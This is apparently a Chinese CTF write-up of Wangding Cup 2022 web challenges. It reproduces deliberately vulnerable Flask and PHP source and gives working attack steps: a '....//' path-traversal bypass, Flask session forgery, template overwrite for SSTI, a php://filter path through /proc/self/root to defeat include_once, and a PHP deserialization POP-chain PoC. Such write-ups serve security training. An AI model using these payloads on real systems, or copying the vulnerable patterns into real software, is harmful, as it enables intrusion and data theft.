首页 > 其他分享 >网鼎杯2022

网鼎杯2022

时间:2022-10-02 10:58:47浏览次数:67  
标签:return 2022 text image filename file 网鼎杯 public


title: 网鼎杯2022
date: 2022-08-31 22:11:21
tags:

网鼎杯wp

青龙组web669

题目给出了附件

import os
import re
import yaml
import time
import socket
import subprocess
from hashlib import md5
from flask import Flask, render_template, make_response, send_file, request, redirect, session

app = Flask(__name__)

app.config['SECRET_KEY'] = socket.gethostname()


def response(content, status):
    resp = make_response(content, status)
    return resp


@app.before_request
def is_login():
    # test
    print(socket.gethostname())
    print(request.remote_addr.encode())
    if request.path == "/upload":
        if session.get('user') != "Administrator":
            return f"<script>alert('Access Denied');window.location.href='/'</script>"
        else:
            return None


@app.route('/', methods=['GET'])
def main():
    if not session.get('user'):
        session['user'] = 'Guest'
    try:
        return render_template('index.html')
    except:
        return response("Not Found.", 404)
    finally:
        try:
            updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
            if not session.get('updir'):
                session['updir'] = updir
            if not os.path.exists(updir):
                os.makedirs(updir)
        except:
            return response('Internal Server Error.', 500)


@app.route('/<path:file>', methods=['GET'])
def download(file):
    if session.get('updir'):
        basedir = session.get('updir')
        try:
            path = os.path.join(basedir, file).replace('../', '')
            if os.path.isfile(path):
                return send_file(path)
            else:
                return response("Not Found.", 404)
        except:
            return response("Failed.", 500)


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        uploadFile = request.files['file']
        filename = request.files['file'].filename

        if re.search(r"\.\.|/", filename, re.M | re.I) != None:
            return "<script>alert('Hacker!');window.location.href='/upload'</script>"

        filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"

        if os.path.exists(filepath):
            return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
        else:
            uploadFile.save(filepath)

        extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
        if not os.path.exists(extractdir):
            os.makedirs(extractdir)

        pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
        t_beginning = time.time()
        seconds_passed = 0
        timeout = 60
        while True:
            if pStatus.poll() is not None:
                break
            seconds_passed = time.time() - t_beginning
            if timeout and seconds_passed > timeout:
                pStatus.terminate()
                raise TimeoutError(cmd, timeout)
            time.sleep(0.1)

        rarDatas = {'filename': filename, 'dirs': [], 'files': []}

        for dirpath, dirnames, filenames in os.walk(extractdir):
            relative_dirpath = dirpath.split(extractdir)[-1]
            rarDatas['dirs'].append(relative_dirpath)
            for file in filenames:
                rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])

        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
            f.write(yaml.dump(rarDatas))

        return redirect(f'/display?file={filename}')


@app.route('/display', methods=['GET'])
def display():
    filename = request.args.get('file')
    if not filename:
        return response("Not Found.", 404)

    if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
        with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
            yamlDatas = f.read()
            if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M | re.I):
                rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
                if rarDatas:

                    return render_template('result.html', filename=filename, path=filename.split('.')[0],
                                           files=rarDatas['files'])
                else:
                    return response('Internal Server Error.', 500)
            else:
                return response('Forbidden.', 403)
    else:
        return response("Not Found.", 404)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

这里我们得知 这是个python的flask 框架

这里我们看到

1661673825580.png

如果session ['user']!=administrator的话 就不被允许访问其他的路由

刚才我们知道这是个flask框架 众所周知 flask框架 中的session 是存在在cookie中的 我们 可以读取session

刚才这个路由告诉我们 我们要使session user为administrator 才可以 而falsk 的session又是可以伪造的 这里可以看p牛的文章

https://www.leavesongs.com/PENETRATION/client-session-security.html#0x02-session

这里可以那脚本先解密一下session

1661674205470.png

可以看出 现在我们是guest用户 所以我们要伪造成Administrator用户

要伪造session 所以我们就必须要得到

SECRET_KEY

想办法读取SECRET_KEY

然后我们看到这里

app.config['SECRET_KEY'] = socket.gethostname()

secrect_key被赋值为 socket.gethostname() 这个是

1661674678189

然后我们看到这里有个 路由

1661673656737.png

可以任意读文件

这里我们可以读取socket.gethostname()获取SECRET_KEY

但是 这里他把../给过滤掉了 所以我们可以用....//

来绕过过滤

获取SECRET_KEY

用脚本来进行解密和加密

比赛的时候的 secret_key和 现在复现的不一样

1661676713535.png

加密成这个样子(这里uploaddir先不用改)

就可以上传文件了

然后我们在这里发现了

1661678985454.png

这里把我们刚上传的文件进行了解压

1661679364253.png

 -o+        # 覆盖现有文件。

这里-o+是覆盖文件 所以我们可以覆盖template文件夹 直接渲染我们上传的文件 嘿嘿 就可以直接利用ssti执行命令

这里还用到了提权

先分析另一种解法把 这是个非预期

看预期解

朱雀组

web thinkphp

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        return '<form method="post" enctype="multipart/form-data" action='.url('index/index/upload').'>
            <input type="file" name="hw_file">
            <input type="submit" value="上传">';

    }

    public function upload()
    {
        if (request()->isPost()){
            $file = $_FILES['hw_file']??'';
            if(!$file){
                return json(['code'=>0,'msg'=>'请选择文件']);
            }
            $file_name = $file['name'];
            $file_tmp = $file['tmp_name'];
            $file_size = $file['size'];
            if ($file_size > 1024*1024*2){
                return json(['code'=>0,'msg'=>'文件大小不能超过2M']);
            }
            $file_error = $file['error'];
            if ($file_error > 0){
                return json(['code'=>0,'msg'=>'上传失败']);
            }
            $file_type = $file['type'];
            $file_ext = explode('.',$file_name);
            $file_ext = strtolower(end($file_ext));
            if(strstr($file_type, "image/")){
                if($this->upload_as_image($file_ext, $file_tmp, "../uploads/images/".date('YmdHis')."/", ["gif"], request()->get("hw_file_name")??FALSE)){
                    return json(['code'=>1,'msg'=>'上传成功']);
                } else {
                    return json(['code'=>0,'msg'=>'上传失败']);
                }
            } else {
                if($this->upload_as_text($file_ext, $file_tmp, "../uploads/files/".date('YmdHis')."/", request()->get("hw_file_name")??FALSE)){
                    return json(['code'=>1,'msg'=>'上传成功']);
                } else {
                    return json(['code'=>0,'msg'=>'上传失败']);
                }
            }
        } else {
            return json(['code'=>0,'msg'=>'请求方式错误']);
        } 
    }

    public function upload_as_image($image_type, $image_tmp_file, $upload_base_dir, $file_ext_black_list, $image_filename=FALSE)
    {
        if(in_array($image_type, $file_ext_black_list)){
            return 0;
        }
        switch ($image_type) {
            case 'jpg':
                $image_ext = '.jpg';
                break;
            case 'png':
                $image_ext = '.png';
                break;
            case 'gif':
                $image_ext = '.gif';
                break;
            default:
                $image_ext = '.jpg';
                break;
        }
        $image_size = getimagesize($image_tmp_file);
        $image_width = $image_size[0];
        $image_height = $image_size[1];
        if($image_width > 200 || $image_height > 200){
            return 0;
        }
        if ($image_filename === FALSE) {
            $image_filename = date('YmdHis') . rand(1000, 9999) . $image_ext;
        } else {
            $image_filename = $image_filename . $image_ext;
        }
        if(!file_exists($upload_base_dir)){
            mkdir($upload_base_dir, 0777, true);
        }
        $image_file_path = $upload_base_dir . $image_filename;
        rename($image_tmp_file, $image_file_path);
        return 1;
    }

    public function upload_as_text($text_type, $text_tmp_file, $upload_base_dir, $text_filename=FALSE)
    {
        if(strstr($text_type, "ph")  || in_array($text_type, ['php', 'html', 'js', 'css', 'sql', 'phtml', 'shtml', 'php5', 'php7', 'phtm', 'pht', 'php8', 'php4', '.htaccess', 'tpl'])){
            return 0;
        }
        if (strstr($text_filename, ".") || strstr($text_filename, "/")) {
            return 0;
        }
        if( strlen($text_type) == 0){
            $text_ext = "";
        } else {
            if(!ctype_alpha($text_type)){
                return 0;
            }
            $text_ext = "." . $text_type;
        }
        if ($text_filename === FALSE) {
            $text_filename = date('YmdHis') . rand(1000, 9999) . $text_ext;
        } else {
            $text_filename = $text_filename . $text_ext;
        }
        if(strlen($text_filename) == 0 || strstr($text_filename, "/") ||!preg_match('/[A-Za-z0-9_]/is', $text_filename)){
            return 0;
        }
        if(!file_exists($upload_base_dir)){
            mkdir($upload_base_dir, 0777, true);
        }
        $text_file_path = $upload_base_dir . "/" . $text_filename;
        rename($text_tmp_file, $text_file_path);
        return 1;
    }
    
}

把有用的代码贴出来把

web

<?php

highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', "/var/www/html");
$file = $_GET['f'];
if (preg_match("/flag|secret|index/i", $file)) {
    die("nononono");
}
include_once($file);
$sec = $_GET['pop'];
if (isset($sec)) {
    unserialize($sec);
}


题目打开显示源码

这里

ini_set('open_basedir','/var/www/html')

ini配置里面写的是 open_basedir的意思是 后面的/var/www/html目录是可以访问的

可以包含文件 这里有个config.php

include_once

include_once 函数:在脚本执行期间包含并运行指定文件。 此行为和include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含

这里应该是其他地方有已经包含过config.php了

想办法绕过 include_once

php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once('flag.php'),已经include的文件不可以再require_once。

那么怎么绕过这个hash表 并且能使include_once识别到我们想要包含的文件呢

/proc/self

/proc/self 指向当前进程的/proc/pid

/proc/self/root 是指向/的符号链接

这里用伪协议配合多级符号链接的办法进行绕过

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/config.php

这里读到config.php

<?php
class start
{
    public $dc;
    public $bd;
    public function __destruct()
    {
        $this->dc->nouse();
    }
}
class begin
{
    public $ak;
    public $cp;
    public function nouse()
    {
        $this->ak->nouse2();
    }
}
class step
{
    public $fun;
    public $dif;
    public function __call($t,$a)
    {
        $ss = $this->fun;
        $ss();
    }
}
class process
{
    public $bcd;
    public $fec;
    public function __invoke()
    {
        $this->fec = "Invoke:".$this->bcd;
    }
}
class over
{
    public $str1;
    public $str2;
    public function __toString()
    {
        $this->str1->get_secret();
        return "ok";
    }
}
class hint
{
    public function get_secret()
    {
        //echo "fherusgkrsdgj";
        echo highlight_file('secrEt_Y0uNeverkNOW.php');
    }
}
//unserialize('O:5:"start":2:{s:2:"dc";O:5:"begin":2:{s:2:"ak";O:4:"step":2:{s:3:"fun";O:7:"process":2:{s:3:"bcd";O:4:"over":2:{s:4:"str1";O:4:"hint":0:{}s:4:"str2";N;}s:3:"fec";N;}s:3:"dif";N;}s:2:"cp";N;}s:2:"bd";N;}');


这里就构造链子 然后 显示

secrEt_Y0uNeverkNOW.php

poc如下

<?php

class start
{
    public $dc;
    public $bd;
    public function __construct()
    {
        $this->dc=new begin();
    }
}
class begin
{
    public $ak;
    public $cp;
    public function __construct()
    {
        $this->ak=new step();
    }
}
class step
{
    public $fun;
    public $dif;
    public function __construct()
    {
        $this->fun=new process();
    }
}
class process{
    public $bcd;
    public $fec;
    public function __construct()
    {
        $this->bcd=new over();
    }
}
class over
{
    public $str1;
    public $str2;
    public function __construct()
    {
        $this->str1=new hint();
    }

}
class hint
{

}
$start=new start();
echo serialize($start);

secrEt_Y0uNeverkNOW.php

代码

<?php
error_reporting(0);
if($_GET['pass'] !== md5("Just_a_trick")){
    die();
}
//phpinfo();
if(strlen($_GET['cmd'])<5 && !preg_match('/rm/',$_GET['cmd']))
{
    //phpinfo();
    echo shell_exec($_GET['cmd']);
}
?>


妈的 这里犯了一个非常傻逼的错误 我在index.php想要执行

secrEt_Y0uNeverkNOW.php页面的代码 导致 一直不成功 。。。。

回到正题

这里限制我们执行代码为四个字符 并且 不能使用删除命令

。。。不会了 、

学长有个非预期

利用文件包含来命令执行

在php中,我们可以利用php base64filter 宽松解析 ,通过iconv filter等特定的 php代码进而完成无需临时文件 的rce

标签:return,2022,text,image,filename,file,网鼎杯,public
From: https://www.cnblogs.com/kkkkl/p/16748382.html

相关文章

  • DASCTF-X-CBCTF-2022九月挑战赛-md
    title:DASCTF-X-CBCTF-2022几月挑战赛.mddate:2022-09-1820:24:51tags:DASCTFXCBCTF2022九月挑战赛3d小恐龙这道题经过队友的提示才做出来的。。。。。不......
  • 2022第五空间网络安全初赛-md
    title:2022第五空间网络安全初赛.mddate:2022-09-2011:06:40tags:2022第五空间网络安全初赛5_web_BaliYun简单的文件上传刚开始别人出的很快就以为是不同的文件......
  • 2022中国工业互联网安全大赛北京市选拔赛全国线上预选赛-md
    title:2022中国工业互联网安全大赛北京市选拔赛全国线上预选赛.mddate:2022-09-2322:19:12tags:ezRead一眼看到上面可能是存在任意文件读应该是base64加密过后的......
  • 2022-2023-1 20221304 《计算机基础与程序设计》第五周学习总结
    2022-2023-120221304《计算机基础与程序设计》第五周学习总结作业信息这个作业属于哪个课程https://edu.cnblogs.com/campus/besti/2022-2023-1-CFAP这个作业......
  • 2022/10/2
    #define_CRT_SECURE_NO_WARNING#include<stdio.h>intmain(){inta=0;intb=0;intsum=0;scanf("%d%d",&a,&b);sum=a+b;printf("%d\n",sum);  return 0;}......
  • 2022神经渲染的进展综述
    神经渲染的进展综述来源:​​https://zhuanlan.zhihu.com/p/567654308​​EuroGraphics‘2022综述论文“AdvancesinNeuralRendering“,2022年3月,作者来自MPI、谷歌研究、E......
  • 2022年10月2日学习笔记
       财富是一场英雄之旅!  要变好的路径是自律!  要获得长期成功的关键是养成好习惯!  要变得富有的方法是唤醒你的财富脑!    拥有幸福人生的方法:......
  • 2022-10-1 李永强平台突破再学习,每次有1-2根5分钟k线的涨跌幅就算不错。
    重点总结1.要看持仓量,成交量和k线三者结合2.要记住一些特殊的图形3.每次有1-2根的K线就算可以4.每次都是分段去读取行情,从前一天的开始那根K线分析,再分析今天的--......
  • 2022-09-25 反思
    摘要:记录周反思反思:现阶段对于Tianmu引擎功能的单元测试,集成测试都不完善,只有MTR的SQL句子的黑盒测试,而且现在MTR的SQL句子测试也不够完善。建议考虑开发Tianmu引擎......
  • 2022-2023-1 20221326《计算机基础与程序设计》第五周学习总结
    班级链接:https://edu.cnblogs.com/campus/besti/2022-2023-1-CFAP作业要求:https://www.cnblogs.com/rocedu/p/9577842.html#WEEK05作业目标:Pep/9虚拟机、机器语言与汇编语......